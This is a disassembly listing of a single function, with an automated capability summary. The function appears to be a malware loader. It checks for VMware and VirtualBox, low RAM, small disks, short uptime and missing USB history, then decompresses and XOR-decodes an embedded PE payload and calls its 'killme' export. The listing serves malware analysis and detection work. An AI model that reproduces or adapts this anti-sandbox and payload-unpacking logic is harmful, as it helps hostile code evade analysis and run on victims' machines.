Function at 0x4019e0
Capabilities:
Compress data via winapi
Encode data using xor
Enumerate services
Get disk information
Get disk size
Get memory capacity
Get system information on windows
Query or enumerate registry key
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xbc
mov eax, dword [0x41b004]
xor eax, esp
mov dword [esp + 0xb8], eax
push ebx
push esi
push edi
push dword [0x41b8ec]
mov dword [esp + 0x9c], 1
push str.dwDllDataSize___d_n
mov dword [esp + 0xa4], 9
mov dword [esp + 0xa8], 4
mov dword [esp + 0xac], 8
mov dword [esp + 0xb0], 3
mov dword [esp + 0xb4], 5
call fcn.00401650
push str.killme
push 0x418c54
call fcn.00401650
add esp, 0x10
push str.C:Program_FilesVMware
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
je 0x401a8e
push 0x10
push 0x418c80
push 0x418c90
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x418cdc
jmp 0x401ff4
call fcn.00401880
test al, al
je 0x401ab5
push 0x10
push 0x418c80
push 0x418ce0
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push str.caonima3_n
jmp 0x401ff4
call fcn.00401930
test al, al
je 0x401adc
push 0x10
push 0x418c80
push 0x418d38
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x418d84
jmp 0x401ff4
push 4
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x401fdb
push 0x10000
push 0x40
mov dword [esp + 0x28], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x28]
push eax
push 0x10000
push esi
push 3
push 0x30
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
je 0x401fdb
xor edi, edi
cmp dword [esp + 0x10], edi
jbe 0x401bb6
add esi, 4
nop dword [eax]
push str.VMware_Tools
push dword [esi]
call fcn.00402e90
add esp, 8
test eax, eax
jne 0x401fdb
push str.VMware
push dword [esi]
call fcn.00402e90
add esp, 8
test eax, eax
jne 0x401fdb
push str.Virtual_Machine
push dword [esi]
call fcn.00402e90
add esp, 8
test eax, eax
jne 0x401fdb
push str.VirtualBox_Guest
push dword [esi]
call fcn.00402e90
add esp, 8
test eax, eax
jne 0x401fdb
inc edi
add esi, 0x24
cmp edi, dword [esp + 0x10]
jb 0x401b50
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [esp + 0x48], 2
jb 0x401fc0
lea eax, [esp + 0x58]
mov dword [esp + 0x58], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 0x60]
mov eax, dword [esp + 0x64]
shrd ecx, eax, 0x14
shr eax, 0x14
mov dword [esp + 0x24], eax
cmp ecx, 0x800
jb 0x401fc0
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
xor esi, esi
xor ebx, ebx
nop
mov al, bl
mov word [esp + 0xb1], 0x5c3a
add al, 0x42
mov byte [esp + 0xb3], 0
mov byte [esp + 0xb0], al
lea eax, [esp + 0xb0]
push eax
call edi
cmp eax, 3
jne 0x401c67
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0xbc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
shrd ecx, eax, 0x14
add esi, ecx
inc ebx
cmp ebx, 0x1a
jl 0x401c10
cmp esi, 0x64
jb 0x401fc0
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov edi, eax
mov ecx, edx
mov ebx, 0x1a9fbe77
mov dword [esp + 0x18], edi
mul ebx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x20], eax
mov esi, edx
mov eax, edi
mov edx, 0x624dd2f
mul edx
mov edi, eax
mov dword [esp + 0x20], edx
mov eax, ecx
mul ebx
mov ecx, eax
mov ebx, edx
mov eax, dword [esp + 0x10]
mov edx, 0x624dd2f
mul edx
add ecx, esi
mov dword [esp + 0x28], eax
adc ebx, 0
add edi, ecx
mov ecx, dword [esp + 0x20]
adc ecx, 0
mov dword [esp + 0xb0], edi
xor eax, eax
add ebx, ecx
mov ecx, dword [esp + 0x28]
adc eax, eax
add ecx, ebx
mov ebx, dword [esp + 0x18]
adc edx, eax
mov eax, dword [esp + 0x10]
sub ebx, ecx
sbb eax, edx
shrd ebx, eax, 1
shr eax, 1
add ebx, ecx
adc eax, edx
shrd ebx, eax, 9
shr eax, 9
test eax, eax
ja 0x401d27
jb 0x401d09
cmp ebx, 0x4b0
jae 0x401d27
push 0x10
push 0x418c80
push 0x418e30
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x418e7c
jmp 0x401ff4
lea eax, [esp + 0x18]
push eax
push 0x20019
push 0
push str.SYSTEMControlSet001EnumUSBSTOR
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
push dword [esp + 0x44]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
cmp dword [esp + 0x20], 1
jae 0x401d8b
push 0x10
push 0x418c80
push 0x418e80
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x418ecc
jmp 0x401ff4
mov eax, dword [0x41b8ec]
push str.ntdll.dll
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0x20], eax
test eax, eax
jne 0x401db9
push str.Load_dll_error__n
call fcn.00401650
add esp, 4
jmp 0x401e35
push str.RtlDecompressBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
jne 0x401dd8
push str.Load_function_error__n
call fcn.00401650
add esp, 4
mov esi, 0x1000
mov dword [esp + 0x10], 0
push esi
call fcn.0040215d
add esp, 4
push esi
mov edi, eax
push 0
push edi
call fcn.00403250
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x1c]
push 0x41b8f4
push esi
push edi
push 2
call ebx
cmp esi, dword [esp + 0x10]
jae 0x401e2b
push edi
call fcn.00402036
mov esi, dword [esp + 0x14]
push esi
call fcn.0040215d
add esp, 8
jmp 0x401dee
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
movzx eax, byte [0x41b8f0]
xor edx, edx
mov edi, 0x5f
mov esi, dword [0x41b8ec]
div edi
mov ecx, 0x41b8f4
add dl, 0x58
movsx eax, dl
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm1, xmm0, 0
test esi, esi
je 0x401ee1
cmp esi, 0x40
jb 0x401ecc
mov edi, esi
and edi, 0xffffffc0
nop word [eax + eax]
movups xmm0, xmmword [ecx]
add eax, 0x40
pxor xmm0, xmm1
paddb xmm0, xmm1
movups xmmword [ecx], xmm0
movups xmm0, xmmword [ecx + 0x10]
pxor xmm0, xmm1
paddb xmm0, xmm1
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [ecx + 0x20]
pxor xmm0, xmm1
paddb xmm0, xmm1
movups xmmword [ecx + 0x20], xmm0
movups xmm0, xmmword [ecx + 0x30]
pxor xmm0, xmm1
paddb xmm0, xmm1
movups xmmword [ecx + 0x30], xmm0
add ecx, 0x40
cmp eax, edi
jb 0x401e80
cmp eax, esi
jae 0x401ee1
sub esi, eax
nop
mov al, byte [ecx]
lea ecx, [ecx + 1]
xor al, dl
add al, dl
mov byte [ecx - 1], al
sub esi, 1
jne 0x401ed0
mov edx, dword [0x41b8ec]
lea eax, [esp + 0x98]
push eax
neg edx
mov ecx, 0x41b8f4
call fcn.00401680
sub esp, 8
mov ecx, 0x41b8f4
call fcn.004011d0
add esp, 0xc
mov edi, eax
mov dword [esp + 0x18], edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [edi + 4]
mov edi, dword [edi]
mov dword [esp + 0x28], ecx
cmp dword [edi + 0x7c], 0
je 0x401f79
mov edi, dword [edi + 0x78]
add edi, ecx
mov edx, dword [edi + 0x18]
test edx, edx
je 0x401f79
cmp dword [edi + 0x14], 0
je 0x401f79
mov esi, dword [edi + 0x20]
xor ebx, ebx
mov eax, dword [edi + 0x24]
add esi, ecx
add eax, ecx
mov dword [esp + 0x10], eax
test edx, edx
je 0x401f79
mov eax, dword [esi]
add eax, ecx
push eax
push str.killme
call fcn.00404537
add esp, 8
test eax, eax
je 0x401fa3
add dword [esp + 0x10], 2
inc ebx
mov ecx, dword [esp + 0x28]
add esi, 4
cmp ebx, dword [edi + 0x18]
jb 0x401f51
push 0x7f
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
call eax
mov ecx, dword [esp + 0x18]
call fcn.004015a0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb8]
xor ecx, esp
call fcn.00402028
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x10]
movzx ecx, word [eax]
cmp ecx, dword [edi + 0x14]
ja 0x401f79
mov eax, dword [edi + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [esp + 0x28]
mov eax, dword [eax + ecx]
add eax, ecx
jmp 0x401f83
push 0x10
push 0x418c80
push 0x418de0
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x418e2c
jmp 0x401ff4
push 0x10
push 0x418c80
push 0x418d88
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push str.caonima5_n
call fcn.00401650
mov ecx, dword [esp + 0xc8]
add esp, 4
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402028
mov esp, ebp
pop ebp
ret